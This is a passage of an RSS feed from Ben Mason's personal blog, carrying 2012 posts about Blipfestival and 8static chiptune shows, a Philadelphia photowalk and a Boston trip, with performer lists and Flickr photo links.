&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157629939248474&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157629939248474&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7289122682/in/set-72157629939248474&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7214/7289122682_53d774113c_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
deadbeatblast&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7289172018/in/set-72157629939248474&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7100/7289172018_47f95bacc5_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
FlashHeart&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7289219354/in/set-72157629939248474&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7090/7289219354_d58e77b9a1_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Danimal Cannon&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7289352574/in/set-72157629939248474&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7243/7289352574_560ceb44c2_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Infinity Shred&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7289496028/in/set-72157629939248474&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7097/7289496028_84b65f3937_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7289530794/in/set-72157629939248474/&#34;&gt;&lt;img src=&#34;https://farm9.staticflickr.com/8009/7289530794_c46da622f4_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>blipfestival</category>
            
          
            
              <category>music</category>
            
          
            
              <category>photos</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>Blipfestival 2012 - Day 2</title>
        <link>https://ben.the-collective.net/posts/2012-05-27-blipfestival-2012-day-2/</link>
        <pubDate>Sun, 27 May 2012 15:05:06 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Sun, 27 May 2012 15:05:06 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2012-05-27-blipfestival-2012-day-2/</guid>
        <description>Blipfestival 2012 – Day 2 @ Gramercy Theater
: | kREW · mikrosopht &amp;amp; the p.irateship (guest visualist)
Wizwars· Jean Y. Kim
Kris Keyser · enso
Pulselooper · Chromacle
Bit Shifter · Batsly Adams
Omodaka
Graffiti Monsters · NO CARRIER
Radlib · CHiKA
I also took pictures of the Chiptography Book launch party
http://www.flickr.com/photos/su1droot/sets/72157629919520704/
Full Blipfestival Flickr set at, http://www.flickr.com/photos/su1droot/sets/72157629921241146/
Kris Keyser
Graffiti Monsters
Omodaka</description>
        <content:encoded>&lt;p&gt;Blipfestival 2012 – Day 2 @ Gramercy Theater&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://blipfestival.org/2012/colon-pipe-krew/&#34;&gt;: | kREW&lt;/a&gt; · mikrosopht &amp;amp; the p.irateship (guest visualist)&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/wizwars/&#34;&gt;Wizwars&lt;/a&gt;· &lt;a href=&#34;http://blipfestival.org/2012/jean-y-kim/&#34;&gt;Jean Y. Kim&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/kris-keyser/&#34;&gt;Kris Keyser&lt;/a&gt; · &lt;a href=&#34;http://blipfestival.org/2012/enso/&#34;&gt;enso&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/pulselooper/&#34;&gt;Pulselooper&lt;/a&gt; · &lt;a href=&#34;http://blipfestival.org/2012/chromacle/&#34;&gt;Chromacle&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/bit-shifter/&#34;&gt;Bit Shifter&lt;/a&gt; · &lt;a href=&#34;http://blipfestival.org/2012/batsly-adams/&#34;&gt;Batsly Adams&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/omodaka/&#34;&gt;Omodaka&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/graffiti-monsters/&#34;&gt;Graffiti Monsters&lt;/a&gt; · &lt;a href=&#34;http://blipfestival.org/2012/no-carrier/&#34;&gt;NO CARRIER&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/radlib/&#34;&gt;Radlib&lt;/a&gt; · &lt;a href=&#34;http://blipfestival.org/2012/chika/&#34;&gt;CHiKA&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I also took pictures of the &lt;a href=&#34;http://www.chiptography.com/&#34;&gt;Chiptography&lt;/a&gt; Book launch party&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157629919520704/%20%20&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157629919520704/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Full Blipfestival Flickr set at, &lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157629921241146/&#34;&gt; http://www.flickr.com/photos/su1droot/sets/72157629921241146/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7280963518/in/set-72157629921241146/&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7100/7280963518_f314a38ec5_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Kris Keyser&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7281090250/in/set-72157629921241146&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7090/7281090250_b54dd85ed6_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Graffiti Monsters&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7281048728/in/set-72157629921241146&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7104/7281048728_0894fdae6f_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Omodaka&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7281119050/in/set-72157629921241146&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7087/7281119050_0aa6d0c7b2_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>blipfestival</category>
            
          
            
              <category>music</category>
            
          
            
              <category>photos</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>Blipfestival 2012 - Day 1</title>
        <link>https://ben.the-collective.net/posts/2012-05-26-blipfestival-2012-day-1/</link>
        <pubDate>Sat, 26 May 2012 14:36:36 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Sat, 26 May 2012 14:36:36 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2012-05-26-blipfestival-2012-day-1/</guid>
        <description>Blipfestival 2012 – Day 1@ Gramercy Theater
I had an awesome first night at blipfestival saw music and visuals from all the following amazing artists, and it was was only day 1!
exileFaker · Batsly Adams
shitbird · enso
Zen Albatross · Chromacle
Chipocrite · CHiKA
minusbaby y Su 8-Hit Combo · mikrosopht &amp;amp; the p.irateship (guest visualist)
Nullsleep · NO CARRIER
Kodek · Jean Y. Kim
George &amp;amp; Jonathan</description>
        <content:encoded>&lt;p&gt;Blipfestival 2012 – Day 1@ Gramercy Theater&lt;/p&gt;
&lt;p&gt;I had an awesome first night at blipfestival saw music and visuals from all the following amazing artists, and it was was only day 1!&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://blipfestival.org/2012/exilefaker/&#34;&gt;exileFaker&lt;/a&gt; · &lt;a href=&#34;http://blipfestival.org/2012/batsly-adams/&#34;&gt;Batsly Adams&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/shitbird/&#34;&gt;shitbird&lt;/a&gt; · &lt;a href=&#34;http://blipfestival.org/2012/enso/&#34;&gt;enso&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/zen-albatross&#34;&gt;Zen Albatross&lt;/a&gt; · &lt;a href=&#34;http://blipfestival.org/2012/chromacle/&#34;&gt;Chromacle&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/chipocrite/&#34;&gt;Chipocrite&lt;/a&gt; · &lt;a href=&#34;http://blipfestival.org/2012/chika/&#34;&gt;CHiKA&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/minusbaby/&#34;&gt;minusbaby y Su 8-Hit Combo&lt;/a&gt; · mikrosopht &amp;amp; the p.irateship (guest visualist)&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/nullsleep/&#34;&gt;Nullsleep&lt;/a&gt; · &lt;a href=&#34;http://blipfestival.org/2012/no-carrier/&#34;&gt;NO CARRIER&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/kodek/&#34;&gt;Kodek&lt;/a&gt; · &lt;a href=&#34;http://blipfestival.org/2012/jean-y-kim/&#34;&gt;Jean Y. Kim&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/george-and-jonathan/&#34;&gt;George &amp;amp; Jonathan&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;My full (~90 image!) Flickr Set is at,&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157629907571074/%20&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157629907571074/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7274811306/in/set-72157629907571074&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7235/7274811306_3e0163fdf7_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Minusbaby&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7274786742/in/set-72157629907571074&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7090/7274786742_ba04a20bda_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Zen Albatross&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7274797904/in/set-72157629907571074&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7212/7274797904_e94c5e67ec_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
The crowd during Chipocrite&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7274864382/in/set-72157629907571074&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7223/7274864382_fe91342136_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
George and Jonathan&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>blipfestival</category>
            
          
            
              <category>music</category>
            
          
            
              <category>photos</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>8static 29 - May 19 2012</title>
        <link>https://ben.the-collective.net/posts/2012-05-26-8static-29-may-19-2012/</link>
        <pubDate>Sat, 26 May 2012 14:04:15 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Sat, 26 May 2012 14:04:15 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2012-05-26-8static-29-may-19-2012/</guid>
        <description>8static 29
May 19th, 2012
7:00pm
music:
Minusbaby (NYC) (with a surprise appearance with an0va and Chipocrite)
Bubblegum Octopus(NJ)
Chip’s Challenge (NY)
visuals:
VBLANK (PA)
Pre Show
This month’s workshop features Marjorie Becker, also known as Chiptography! She’ll be giving a presentation about her years experience documenting chip music performances as the Blip Festival’s unofficial photographer. She’ll also have copies of her first photography book, Blip Festival | New York City | Five Years available for pre-order!</description>
        <content:encoded>&lt;p&gt;&lt;strong&gt;8static 29&lt;br /&gt;
May 19th, 2012&lt;/strong&gt;&lt;br /&gt;
7:00pm&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;music:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://www.minusbaby.com/&#34;&gt;Minusbaby&lt;/a&gt; (NYC) (with a surprise appearance with an0va and Chipocrite)&lt;br /&gt;
&lt;a href=&#34;https://www.facebook.com/BubblegumOctopusOfficial&#34;&gt;Bubblegum Octopus&lt;/a&gt;(NJ)&lt;br /&gt;
&lt;a href=&#34;http://chipschallengeband.com/&#34;&gt;Chip’s Challenge&lt;/a&gt; (NY)&lt;br /&gt;
&lt;strong&gt;visuals:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://www.waitforvblank.com/&#34;&gt;VBLANK&lt;/a&gt; (PA)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pre Show&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This month’s workshop features Marjorie Becker, also known as &lt;a href=&#34;http://chiptography.com/&#34;&gt;Chiptography&lt;/a&gt;! She’ll be giving a presentation about her years experience documenting chip music performances as the Blip Festival’s unofficial photographer. She’ll also have copies of her first photography book, Blip Festival | New York City | Five Years available for pre-order!&lt;/p&gt;
&lt;p&gt;More info about the Event at&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://8static.com&#34; title=&#34;8static.com&#34;&gt;8static.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Full Flickr Set at, &lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157629892497066/&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157629892497066/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7268367494/in/set-72157629892497066&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7104/7268367494_a461b866a2_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7268382834/in/set-72157629892497066&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7091/7268382834_43ffbbc3d1_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7268402234/in/set-72157629892497066&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7084/7268402234_58743352b4_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>8static</category>
            
          
            
              <category>music</category>
            
          
            
              <category>photos</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>Philadelphia photowalk March 2012</title>
        <link>https://ben.the-collective.net/posts/2012-05-20-philadelphia-photowalk-march-2012/</link>
        <pubDate>Sun, 20 May 2012 09:51:02 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Sun, 20 May 2012 09:51:02 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2012-05-20-philadelphia-photowalk-march-2012/</guid>
        <description>I had just purchased my new Canon 5dmkII and wanted to give it a good work out. So I want on a walk on a lovely day to take pictures around Philadelphia. It was St. Patricks Day there was some shenanigans around town with people celebrating the holiday.
Full Flickr Set, http://www.flickr.com/photos/su1droot/sets/72157629747932114)</description>
        <content:encoded>&lt;p&gt;I had just purchased my new Canon 5dmkII and wanted to give it a good work out. So I want on a walk on a lovely day to take pictures around Philadelphia. It was St. Patricks Day there was some shenanigans around town with people celebrating the holiday.&lt;/p&gt;
&lt;p&gt;Full Flickr Set, &lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157629747932114&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157629747932114)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7206467310/in/set-72157629747932114&#34;&gt;&lt;img src=&#34;https://farm9.staticflickr.com/8149/7206467310_0a90612899_z_d.jpg&#34; alt=&#34;City Hall&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7206470864/in/set-72157629747932114/&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7242/7206470864_905533564b_z_d.jpg&#34; alt=&#34;Rocky&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7206462698/in/set-72157629747932114&#34;&gt;&lt;img src=&#34;https://farm6.staticflickr.com/5344/7206462698_15be77807c_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>philadelphia</category>
            
          
            
              <category>photos</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>Boston 2012 Trip</title>
        <link>https://ben.the-collective.net/posts/2012-05-15-boston-2012-trip/</link>
        <pubDate>Tue, 15 May 2012 19:32:08 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Tue, 15 May 2012 19:32:08 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2012-05-15-boston-2012-trip/</guid>
        <description>In April I took a trip up to Boston for a vacation. Some destinations where Harvard Square, Museum of Fine Arts and Boston Common.
Full Flickr Set At,http://www.flickr.com/photos/su1droot/sets/72157629747605190</description>
        <content:encoded>&lt;p&gt;In April I took a trip up to Boston for a vacation. Some destinations where Harvard Square, Museum of Fine Arts and Boston Common.&lt;/p&gt;
&lt;p&gt;Full Flickr Set At,&lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157629747605190&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157629747605190&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7206335314/in/set-72157629747605190&#34;&gt;&lt;img src=&#34;https://i0.wp.com/farm8.staticflickr.com/7220/7206335314_3515886005_z_d.jpg&#34; alt=&#34;Harvard Square&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7206349674/in/set-72157629747605190&#34;&gt;&lt;img src=&#34;https://i0.wp.com/farm8.staticflickr.com/7244/7206349674_88140872c1_z_d.jpg&#34; alt=&#34;Fine Arts Museum&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7206375220/in/set-72157629747605190&#34;&gt;&lt;img src=&#34;https://i0.wp.com/farm9.staticflickr.com/8024/7206375220_e852952627_z_d.jpg&#34; alt=&#34;Boston Common&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>travel</category>
            
          
            
              <category>photos</category>
            
          
            
              <category>boston</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>8static 28 - April 14 2012</title>
        <link>https://ben.the-collective.net/posts/2012-04-17-8static-28-april-14-2012/</link>
        <pubDate>Tue, 17 Apr 2012 21:48:37 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Tue, 17 Apr 2012 21:48:37 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2012-04-17-8static-28-april-14-2012/</guid>
        <description>8static 28
April 14th, 2012
7:00pm
at PhilaMOCA
music:
Trash80(LA)
Shawnphase(BAL)
Disassembler (NJ)
visuals:
Visualicious (NYC)
Pre Show:
Odd time signatures in trackers with Dino Lionetti of Cheap Dinosaurs!
Full Flickr Set:
http://www.flickr.com/photos/su1droot/sets/72157629478271504
Disassembler
Shawnphase
Trash80</description>
        <content:encoded>&lt;p&gt;&lt;strong&gt;8static 28&lt;/strong&gt;&lt;br /&gt;
April 14th, 2012&lt;br /&gt;
7:00pm&lt;br /&gt;
at &lt;a href=&#34;http://www.philamoca.org/&#34; title=&#34;PhilaMOCA&#34;&gt;PhilaMOCA&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;music:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://trash80.com/&#34;&gt;Trash80&lt;/a&gt;(LA)&lt;br /&gt;
&lt;a href=&#34;http://www.good-evil.net/TSS/nypwpx/index.html&#34;&gt;Shawnphase&lt;/a&gt;(BAL)&lt;br /&gt;
&lt;a href=&#34;https://www.facebook.com/dataspill&#34;&gt;Disassembler&lt;/a&gt; (NJ)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;visuals:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://www.imagima.com/&#34;&gt;Visualicious&lt;/a&gt; (NYC)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pre Show:&lt;/strong&gt;&lt;br /&gt;
Odd time signatures in trackers with Dino Lionetti of Cheap Dinosaurs!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Full Flickr Set:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157629478271504&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157629478271504&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/6943085790/in/set-72157629478271504&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7275/6943085790_c3c787d29d_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Disassembler&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/6943091700/in/set-72157629478271504&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7264/6943091700_ec76f98a99_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Shawnphase&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/6943103938/in/set-72157629478271504&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7208/6943103938_3e4abe12f5_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Trash80&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>8static</category>
            
          
            
              <category>photos</category>
            
          
            
              <category>music</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>8static 27 - March 10th 2012</title>
        <link>https://ben.the-collective.net/posts/2012-03-25-8static-27-march-10th-2012/</link>
        <pubDate>Sun, 25 Mar 2012 15:47:59 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Sun, 25 Mar 2012 15:47:59 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2012-03-25-8static-27-march-10th-2012/</guid>
        <description>8static 27
March 10th, 2012
8:00pm
music:
Knife City (NYC)
B4kn (PHL/NYC)
Kill3r Whale (PHL)
visuals:
Jean Y Kim (VAN/NYC)
This was our first show at the PhilaMOCA space
Full Flickr Set at, http://www.flickr.com/photos/su1droot/sets/72157629563883543
kill3r whale
b4kn
knife city</description>
        <content:encoded>&lt;p&gt;&lt;strong&gt;8static 27&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;March 10th, 2012&lt;/strong&gt;&lt;br /&gt;
8:00pm&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;music:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://knifecity.bandcamp.com/&#34;&gt;Knife City&lt;/a&gt; (NYC)&lt;br /&gt;
&lt;a href=&#34;http://b4kn.bandcamp.com/&#34;&gt;B4kn&lt;/a&gt; (PHL/NYC)&lt;br /&gt;
&lt;a href=&#34;http://kill3rwhale.com/&#34;&gt;Kill3r Whale&lt;/a&gt; (PHL)&lt;br /&gt;
&lt;strong&gt;visuals:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://fx6ex6.com/&#34;&gt;Jean Y Kim&lt;/a&gt; (VAN/NYC)&lt;/p&gt;
&lt;p&gt;This was our first show at the &lt;a href=&#34;http://www.philamoca.org/&#34;&gt;PhilaMOCA&lt;/a&gt; space&lt;/p&gt;
&lt;p&gt;Full Flickr Set at, &lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157629563883543&#34; title=&#34;http://www.flickr.com/photos/su1droot/sets/72157629563883543&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157629563883543&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/6973882223&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7190/6973882223_aeb460f961_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;kill3r whale&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/6973898409&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7060/6973898409_0280c624d1_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;b4kn&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/6973912769&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7061/6973912769_6fb61705db_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;knife city&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>8static</category>
            
          
            
              <category>photos</category>
            
          
            
              <category>music</category>
            
          
        
        
        
      </item>
      

    
  </channel>
</rss>
